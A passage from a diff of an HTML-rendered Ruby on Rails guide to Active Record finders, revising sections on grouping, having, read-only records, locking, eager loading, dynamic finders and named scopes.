+<div class="paragraph"><p>And this will give you a single <tt>Order</tt> object for each date where there are orders in the database.</p></div>
+<div class="paragraph"><p>The SQL that would be executed would be something like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> orders <span style="font-weight: bold"><span style="color: #0000FF">GROUP</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> <span style="color: #009900">date</span><span style="color: #990000">(</span>created_at<span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> orders <span style="font-weight: bold"><span style="color: #0000FF">GROUP</span></span> <span style="font-weight: bold"><span style="color: #0000FF">BY</span></span> <span style="color: #009900">date</span><span style="color: #990000">(</span>created_at<span style="color: #990000">)</span></tt></pre></div></div>
</div>
-<h2 id="_read_only">9. Read Only</h2>
+<h2 id="_having">7. Having</h2>
<div class="sectionbody">
-<div class="para"><p>Readonly is a find option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an <tt>Active Record::ReadOnlyRecord</tt> exception. To set this option, specify it like this:</p></div>
+<div class="paragraph"><p>The <tt>:having</tt> option allows you to specify SQL and acts as a kind of a filter on the group option. <tt>:having</tt> can only be specified when <tt>:group</tt> is specified.</p></div>
+<div class="paragraph"><p>An example of using it would be:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>readonly <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>If you assign this record to a variable <tt>client</tt>, calling the following code will raise an <tt>ActiveRecord::ReadOnlyRecord</tt> exception:</p></div>
+<pre><tt>Order<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>group <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"date(created_at)"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>having <span style="color: #990000">=&gt;</span> <span style="color: #990000">[</span><span style="color: #FF0000">"created_at &gt; ?"</span><span style="color: #990000">,</span> <span style="color: #993399">1</span><span style="color: #990000">.</span>month<span style="color: #990000">.</span>ago<span style="color: #990000">])</span></tt></pre></div></div>
+<div class="paragraph"><p>This will return single order objects for each day, but only for the last month.</p></div>
+</div>
+<h2 id="_read_only">8. Read Only</h2>
+<div class="sectionbody">
+<div class="paragraph"><p><tt>readonly</tt> is a <tt>find</tt> option that you can set in order to make that instance of the record read-only. Any attempt to alter or destroy the record will not succeed, raising an ActiveRecord::ReadOnlyRecord exception. To set this option, specify it like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>readonly <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>If you assign this record to a variable client, calling the following code will raise an ActiveRecord::ReadOnlyRecord exception:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -683,12 +578,11 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span>readonly <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span>
client<span style="color: #990000">.</span>locked <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
-client<span style="color: #990000">.</span>save
-</tt></pre></div></div>
+client<span style="color: #990000">.</span>save</tt></pre></div></div>
</div>
-<h2 id="_lock">10. Lock</h2>
+<h2 id="_lock">9. Lock</h2>
<div class="sectionbody">
-<div class="para"><p>If you're wanting to stop race conditions for a specific record (for example, you're incrementing a single field for a record, potentially from multiple simultaneous connections) you can use the lock option to ensure that the record is updated correctly. For safety, you should use this inside a transaction.</p></div>
+<div class="paragraph"><p>If you&#8217;re wanting to stop race conditions for a specific record (for example, you&#8217;re incrementing a single field for a record, potentially from multiple simultaneous connections) you can use the lock option to ensure that the record is updated correctly. For safety, you should use this inside a transaction.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -697,16 +591,25 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt>Topic<span style="color: #990000">.</span>transaction <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
t <span style="color: #990000">=</span> Topic<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">],</span> <span style="color: #990000">:</span>lock <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">)</span>
t<span style="color: #990000">.</span>increment!<span style="color: #990000">(:</span>views<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You can also pass SQL to this option to allow different types of locks. For example, MySQL has an expression called LOCK IN SHARE MODE where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Topic<span style="color: #990000">.</span>transaction <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+ t <span style="color: #990000">=</span> Topic<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">],</span> <span style="color: #990000">:</span>lock <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"LOCK IN SHARE MODE"</span><span style="color: #990000">)</span>
+ t<span style="color: #990000">.</span>increment!<span style="color: #990000">(:</span>views<span style="color: #990000">)</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
</div>
-<h2 id="_making_it_all_work_together">11. Making It All Work Together</h2>
+<h2 id="_making_it_all_work_together">10. Making It All Work Together</h2>
<div class="sectionbody">
-<div class="para"><p>You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the find statement Active Record will use the latter.</p></div>
+<div class="paragraph"><p>You can chain these options together in no particular order as Active Record will write the correct SQL for you. If you specify two instances of the same options inside the <tt>find</tt> method Active Record will use the last one you specified. This is because the options passed to find are a hash and defining the same key twice in a hash will result in the last definition being used.</p></div>
</div>
-<h2 id="_eager_loading">12. Eager Loading</h2>
+<h2 id="_eager_loading">11. Eager Loading</h2>
<div class="sectionbody">
-<div class="para"><p>Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use <tt>Client.all(:include &#8658; :address)</tt>. If you wanted to include both the address and mailing address for the client you would use +Client.find(:all, :include &#8658; [:address, :mailing_address]). Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:</p></div>
+<div class="paragraph"><p>Eager loading is loading associated records along with any number of records in as few queries as possible. For example, if you wanted to load all the addresses associated with all the clients in a single query you could use <tt>Client.all(:include =&gt; :address)</tt>. If you wanted to include both the address and mailing address for the client you would use <tt>Client.find(:all, :include =&gt; [:address, :mailing_address])</tt>. Include will first find the client records and then load the associated address records. Running script/server in one window, and executing the code through script/console in another window, the output should look similar to this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -716,10 +619,10 @@ http://www.gnu.org/software/src-highlite -->
Address <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.119770</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> addresses<span style="color: #990000">.*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> addresses
<span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>addresses<span style="color: #990000">.</span>client_id <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">13</span><span style="color: #990000">,</span><span style="color: #993399">14</span><span style="color: #990000">))</span>
MailingAddress <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.001985</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> mailing_addresses<span style="color: #990000">.*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span>
- mailing_addresses <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>mailing_addresses<span style="color: #990000">.</span>client_id <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">13</span><span style="color: #990000">,</span><span style="color: #993399">14</span><span style="color: #990000">))</span>
-</tt></pre></div></div>
-<div class="para"><p>The numbers <tt>13</tt> and <tt>14</tt> in the above SQL are the ids of the clients gathered from the <tt>Client.all</tt> query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called <tt>address</tt> or <tt>mailing_address</tt> on one of the objects in the clients array, which may lead to performance issues if you're loading a large number of records at once.</p></div>
-<div class="para"><p>If you wanted to get all the addresses for a client in the same query you would do <tt>Client.all(:joins &#8658; :address)</tt> and you wanted to find the address and mailing address for that client you would do <tt>Client.all(:joins &#8658; [:address, :mailing_address])</tt>. This is more efficient because it does all the SQL in one query, as shown by this example:</p></div>
+ mailing_addresses <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>mailing_addresses<span style="color: #990000">.</span>client_id <span style="font-weight: bold"><span style="color: #0000FF">IN</span></span> <span style="color: #990000">(</span><span style="color: #993399">13</span><span style="color: #990000">,</span><span style="color: #993399">14</span><span style="color: #990000">))</span></tt></pre></div></div>
+<div class="paragraph"><p>The numbers <tt>13</tt> and <tt>14</tt> in the above SQL are the ids of the clients gathered from the <tt>Client.all</tt> query. Rails will then run a query to gather all the addresses and mailing addresses that have a client_id of 13 or 14. Although this is done in 3 queries, this is more efficient than not eager loading because without eager loading it would run a query for every time you called <tt>address</tt> or <tt>mailing_address</tt> on one of the objects in the clients array, which may lead to performance issues if you&#8217;re loading a large number of records at once and is often called the "N+1 query problem". The problem is that the more queries your server has to execute, the slower it will run.</p></div>
+<div class="paragraph"><p>If you wanted to get all the addresses for a client in the same query you would do <tt>Client.all(:joins =&gt; :address)</tt>.
+If you wanted to find the address and mailing address for that client you would do <tt>Client.all(:joins =&gt; [:address, :mailing_address])</tt>. This is more efficient because it does all the SQL in one query, as shown by this example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -727,9 +630,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="color: #990000">+</span>Client <span style="font-weight: bold"><span style="color: #0000FF">Load</span></span> <span style="color: #990000">(</span><span style="color: #993399">0.000455</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> clients<span style="color: #990000">.*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">INNER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">JOIN</span></span> addresses
<span style="font-weight: bold"><span style="color: #0000FF">ON</span></span> addresses<span style="color: #990000">.</span>client_id <span style="color: #990000">=</span> client<span style="color: #990000">.</span>id <span style="font-weight: bold"><span style="color: #0000FF">INNER</span></span> <span style="font-weight: bold"><span style="color: #0000FF">JOIN</span></span> mailing_addresses <span style="font-weight: bold"><span style="color: #0000FF">ON</span></span>
- mailing_addresses<span style="color: #990000">.</span>client_id <span style="color: #990000">=</span> client<span style="color: #990000">.</span>id
-</tt></pre></div></div>
-<div class="para"><p>This query is more efficent, but there's a gotcha: if you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins. Alternatively, you can use a SQL join clause to specify exactly the join you need (Rails always assumes an inner join):</p></div>
+ mailing_addresses<span style="color: #990000">.</span>client_id <span style="color: #990000">=</span> client<span style="color: #990000">.</span>id</tt></pre></div></div>
+<div class="paragraph"><p>This query is more efficent, but there&#8217;s a gotcha: if you have a client who does not have an address or a mailing address they will not be returned in this query at all. If you have any association as an optional association, you may want to use include rather than joins. Alternatively, you can use a SQL join clause to specify exactly the join you need (Rails always assumes an inner join):</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -737,25 +639,23 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>Client<span style="color: #990000">.</span>all<span style="color: #990000">(:</span>joins <span style="color: #990000">=&gt;</span> “LEFT OUTER JOIN addresses ON
client<span style="color: #990000">.</span>id <span style="color: #990000">=</span> addresses<span style="color: #990000">.</span>client_id LEFT OUTER JOIN mailing_addresses ON
- client<span style="color: #990000">.</span>id <span style="color: #990000">=</span> mailing_addresses<span style="color: #990000">.</span>client_id”<span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this:</p></div>
+ client<span style="color: #990000">.</span>id <span style="color: #990000">=</span> mailing_addresses<span style="color: #990000">.</span>client_id”<span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>When using eager loading you can specify conditions for the columns of the tables inside the eager loading to get back a smaller subset. If, for example, you want to find a client and all their orders within the last two weeks you could use eager loading with conditions for this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt>Client<span style="color: #990000">.</span>first<span style="color: #990000">(:</span><span style="font-weight: bold"><span style="color: #0000FF">include</span></span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"orders"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span>
- <span style="color: #990000">[</span><span style="color: #FF0000">"orders.created_at &gt;= ? AND orders.created_at &lt;= ?"</span><span style="color: #990000">,</span> Time<span style="color: #990000">.</span>now <span style="color: #990000">-</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">,</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">])</span>
-</tt></pre></div></div>
+ <span style="color: #990000">[</span><span style="color: #FF0000">"orders.created_at &gt;= ? AND orders.created_at &lt;= ?"</span><span style="color: #990000">,</span> <span style="color: #993399">2</span><span style="color: #990000">.</span>weeks<span style="color: #990000">.</span>ago<span style="color: #990000">,</span> Time<span style="color: #990000">.</span>now<span style="color: #990000">])</span></tt></pre></div></div>
</div>
-<h2 id="_dynamic_finders">13. Dynamic finders</h2>
+<h2 id="_dynamic_finders">12. Dynamic finders</h2>
<div class="sectionbody">
-<div class="para"><p>For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called <tt>name</tt> on your Client model for example, you get <tt>find_by_name</tt> and <tt>find_all_by_name</tt> for free from Active Record. If you have also have a <tt>locked</tt> field on the client model, you also get <tt>find_by_locked</tt> and <tt>find_all_by_locked</tt>.</p></div>
-<div class="para"><p>You can do <tt>find_last_by_*</tt> methods too which will find the last record matching your parameter.</p></div>
-<div class="para"><p>You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an <tt>ActiveRecord::RecordNotFound</tt> error if they do not return any records, like <tt>Client.find_by_name!(<em>Ryan</em>)</tt></p></div>
-<div class="para"><p>If you want to find both by name and locked, you can chain these finders together by simply typing <tt>and</tt> between the fields for example <tt>Client.find_by_name_and_locked(<em>Ryan</em>, true)</tt>.</p></div>
-<div class="para"><p>There's another set of dynamic finders that let you find or create/initialize objects if they aren't find. These work in a similar fashion to the other finders and can be used like <tt>find_or_create_by_name(params[:name])</tt>. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for <tt>Client.find_or_create_by_name(<em>Ryan</em>)</tt>:</p></div>
+<div class="paragraph"><p>For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called <tt>name</tt> on your Client model for example, you get <tt>find_by_name</tt> and <tt>find_all_by_name</tt> for free from Active Record. If you have also have a <tt>locked</tt> field on the Client model, you also get <tt>find_by_locked</tt> and <tt>find_all_by_locked</tt>.</p></div>
+<div class="paragraph"><p>You can do <tt>find_last_by_*</tt> methods too which will find the last record matching your argument.</p></div>
+<div class="paragraph"><p>You can specify an exclamation point (!) on the end of the dynamic finders to get them to raise an ActiveRecord::RecordNotFound error if they do not return any records, like <tt>Client.find_by_name!("Ryan")</tt></p></div>
+<div class="paragraph"><p>If you want to find both by name and locked, you can chain these finders together by simply typing <tt>and</tt> between the fields for example <tt>Client.find_by_name_and_locked("Ryan", true)</tt>.</p></div>
+<div class="paragraph"><p>There&#8217;s another set of dynamic finders that let you find or create/initialize objects if they aren&#8217;t found. These work in a similar fashion to the other finders and can be used like <tt>find_or_create_by_name(params[:name])</tt>. Using this will firstly perform a find and then create if the find returns nil. The SQL looks like this for <tt>Client.find_or_create_by_name("Ryan")</tt>:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -764,51 +664,47 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">SELECT</span></span> <span style="color: #990000">*</span> <span style="font-weight: bold"><span style="color: #0000FF">FROM</span></span> clients <span style="font-weight: bold"><span style="color: #0000FF">WHERE</span></span> <span style="color: #990000">(</span>clients<span style="color: #990000">.</span>name <span style="color: #990000">=</span> <span style="color: #FF0000">'Ryan'</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">LIMIT</span></span> <span style="color: #993399">1</span>
BEGIN
<span style="font-weight: bold"><span style="color: #0000FF">INSERT</span></span> <span style="font-weight: bold"><span style="color: #0000FF">INTO</span></span> clients <span style="color: #990000">(</span>name<span style="color: #990000">,</span> updated_at<span style="color: #990000">,</span> created_at<span style="color: #990000">,</span> orders_count<span style="color: #990000">,</span> locked<span style="color: #990000">)</span>
- <span style="font-weight: bold"><span style="color: #0000FF">VALUES</span></span><span style="color: #990000">(</span><span style="color: #FF0000">'Ryan'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2008-09-28 15:39:12'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2008-09-28 15:39:12'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'0'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'0'</span><span style="color: #990000">)</span>
-COMMIT
-</tt></pre></div></div>
-<div class="para"><p><tt>find_or_create</tt>'s sibling, <tt>find_or_initialize</tt>, will find an object and if it does not exist will act similar to calling <tt>new</tt> with the parameters you passed in. For example:</p></div>
+ <span style="font-weight: bold"><span style="color: #0000FF">VALUES</span></span><span style="color: #990000">(</span><span style="color: #FF0000">'Ryan'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2008-09-28 15:39:12'</span><span style="color: #990000">,</span> <span style="color: #FF0000">'2008-09-28 15:39:12'</span><span style="color: #990000">,</span> <span style="color: #993399">0</span><span style="color: #990000">,</span> <span style="color: #FF0000">'0'</span><span style="color: #990000">)</span>
+COMMIT</tt></pre></div></div>
+<div class="paragraph"><p><tt>find_or_create</tt>'s sibling, <tt>find_or_initialize</tt>, will find an object and if it does not exist will act similar to calling <tt>new</tt> with the arguments you passed in. For example:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find_or_initialize_by_name<span style="color: #990000">(</span><span style="color: #FF0000">'Ryan'</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p>will either assign an existing client object with the name <em>Ryan</em> to the client local variable, or initialize new object similar to calling <tt>Client.new(:name &#8658; <em>Ryan</em>)</tt>. From here, you can modify other fields in client by calling the attribute setters on it: <tt>client.locked = true</tt> and when you want to write it to the database just call <tt>save</tt> on it.</p></div>
+<pre><tt>client <span style="color: #990000">=</span> Client<span style="color: #990000">.</span>find_or_initialize_by_name<span style="color: #990000">(</span><span style="color: #FF0000">'Ryan'</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p>will either assign an existing client object with the name <em>Ryan</em> to the client local variable, or initialize a new object similar to calling <tt>Client.new(:name =&gt; <em>Ryan</em>)</tt>. From here, you can modify other fields in client by calling the attribute setters on it: <tt>client.locked = true</tt> and when you want to write it to the database just call <tt>save</tt> on it.</p></div>
</div>
-<h2 id="_finding_by_sql">14. Finding By SQL</h2>
+<h2 id="_finding_by_sql">13. Finding By SQL</h2>
<div class="sectionbody">
-<div class="para"><p>If you'd like to use your own SQL to find records a table you can use <tt>find_by_sql</tt>. The <tt>find_by_sql</tt> method will return an array of objects even if it only returns a single record in it's call to the database. For example you could run this query:</p></div>
+<div class="paragraph"><p>If you&#8217;d like to use your own SQL to find records in a table you can use <tt>find_by_sql</tt>. The <tt>find_by_sql</tt> method will return an array of objects even the underlying query returns just a single record. For example you could run this query:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>find_by_sql<span style="color: #990000">(</span><span style="color: #FF0000">"SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
-<div class="para"><p><tt>find_by_sql</tt> provides you with a simple way of making custom calls to the database and retrieving instantiated objects.</p></div>
+<pre><tt>Client<span style="color: #990000">.</span>find_by_sql<span style="color: #990000">(</span><span style="color: #FF0000">"SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc"</span><span style="color: #990000">)</span></tt></pre></div></div>
+<div class="paragraph"><p><tt>find_by_sql</tt> provides you with a simple way of making custom calls to the database and retrieving instantiated objects.</p></div>
</div>
-<h2 id="_tt_select_all_tt">15. <tt>select_all</tt></h2>
+<h2 id="_tt_select_all_tt">14. <tt>select_all</tt></h2>
<div class="sectionbody">
-<div class="para"><p><tt>find_by_sql</tt> has a close relative called <tt>connection#select_all</tt>. <tt>select_all</tt> will retrieve objects from the database using custom SQL just like <tt>find_by_sql</tt> but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.</p></div>
+<div class="paragraph"><p><tt>find_by_sql</tt> has a close relative called <tt>connection#select_all</tt>. <tt>select_all</tt> will retrieve objects from the database using custom SQL just like <tt>find_by_sql</tt> but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>connection<span style="color: #990000">.</span>select_all<span style="color: #990000">(</span><span style="color: #FF0000">"SELECT * FROM `clients` WHERE `id` = '1'"</span><span style="color: #990000">)</span>
-</tt></pre></div></div>
+<pre><tt>Client<span style="color: #990000">.</span>connection<span style="color: #990000">.</span>select_all<span style="color: #990000">(</span><span style="color: #FF0000">"SELECT * FROM `clients` WHERE `id` = '1'"</span><span style="color: #990000">)</span></tt></pre></div></div>
</div>
-<h2 id="_working_with_associations">16. Working with Associations</h2>
+<h2 id="_working_with_associations">15. Working with Associations</h2>
<div class="sectionbody">
-<div class="para"><p>When you define a has_many association on a model you get the find method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like <tt>Client.find(params[:id]).orders.find_by_sent_and_received(true, false)</tt>. Having this find method available on associations is extremely helpful when using nested controllers.</p></div>
+<div class="paragraph"><p>When you define a has_many association on a model you get the <tt>find</tt> method and dynamic finders also on that association. This is helpful for finding associated records within the scope of an existing record, for example finding all the orders for a client that have been sent and not received by doing something like <tt>Client.find(params[:id]).orders.find_by_sent_and_received(true, false)</tt>. Having this find method available on associations is extremely helpful when using nested resources.</p></div>
</div>
-<h2 id="_named_scopes">17. Named Scopes</h2>
+<h2 id="_named_scopes">16. Named Scopes</h2>
<div class="sectionbody">
-<div class="para"><p>Named scopes are another way to add custom finding behavior to the models in the application. Named scopes provide an object-oriented way to narrow the results of a query.</p></div>
-<h3 id="_simple_named_scopes">17.1. Simple Named Scopes</h3>
-<div class="para"><p>Suppose want to find all clients who are male. You could use this code:</p></div>
+<div class="paragraph"><p>Named scopes are another way to add custom finding behavior to the models in the application. Named scopes provide an object-oriented way to narrow the results of a query.</p></div>
+<h3 id="_simple_named_scopes">16.1. Simple Named Scopes</h3>
+<div class="paragraph"><p>Suppose we want to find all clients who are male. You could use this code:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -816,10 +712,9 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
named_scope <span style="color: #990000">:</span>males<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>gender <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"male"</span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Then you could call <tt>Client.males.all</tt> to get all the clients who are male. Please note that if you do not specify the <tt>all</tt> on the end you will get a <tt>Scope</tt> object back, not a set of records which you do get back if you put the <tt>all</tt> on the end.</p></div>
-<div class="para"><p>If you wanted to find all the clients who are active, you could use this:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Then you could call <tt>Client.males.all</tt> to get all the clients who are male. Please note that if you do not specify the <tt>all</tt> on the end you will get a <tt>Scope</tt> object back, not a set of records which you do get back if you put the <tt>all</tt> on the end.</p></div>
+<div class="paragraph"><p>If you wanted to find all the clients who are active, you could use this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -827,28 +722,25 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Client <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
named_scope <span style="color: #990000">:</span>active<span style="color: #990000">,</span> <span style="color: #990000">:</span>conditions <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>active <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #FF0000">}</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>You can call this new named_scope with <tt>Client.active.all</tt> and this will do the same query as if we just used <tt>Client.all(:conditions &#8658; ["active = ?", true])</tt>. Please be aware that the conditions syntax in named_scope and find is different and the two are not interchangeable. If you want to find the first client within this named scope you could do <tt>Client.active.first</tt>.</p></div>
-<h3 id="_combining_named_scopes">17.2. Combining Named Scopes</h3>
-<div class="para"><p>If you wanted to find all the clients who are active and male you can stack the named scopes like this:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>You can call this new named_scope with <tt>Client.active.all</tt> and this will do the same query as if we just used <tt>Client.all(:conditions =&gt; ["active = ?", true])</tt>. If you want to find the first client within this named scope you could do <tt>Client.active.first</tt>.</p></div>
+<h3 id="_combining_named_scopes">16.2. Combining Named Scopes</h3>
+<div class="paragraph"><p>If you wanted to find all the clients who are active and male you can stack the named scopes like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>Client<span style="color: #990000">.</span>males<span style="color: #990000">.</span>active<span style="color: #990000">.</span>all
-</tt></pre></div></div>
-<div class="para"><p>If you would then like to do a <tt>all</tt> on that scope, you can. Just like an association, named scopes allow you to call <tt>all</tt> on them:</p></div>
+<pre><tt>Client<span style="color: #990000">.</span>males<span style="color: #990000">.</span>active<span style="color: #990000">.</span>all</tt></pre></div></div>
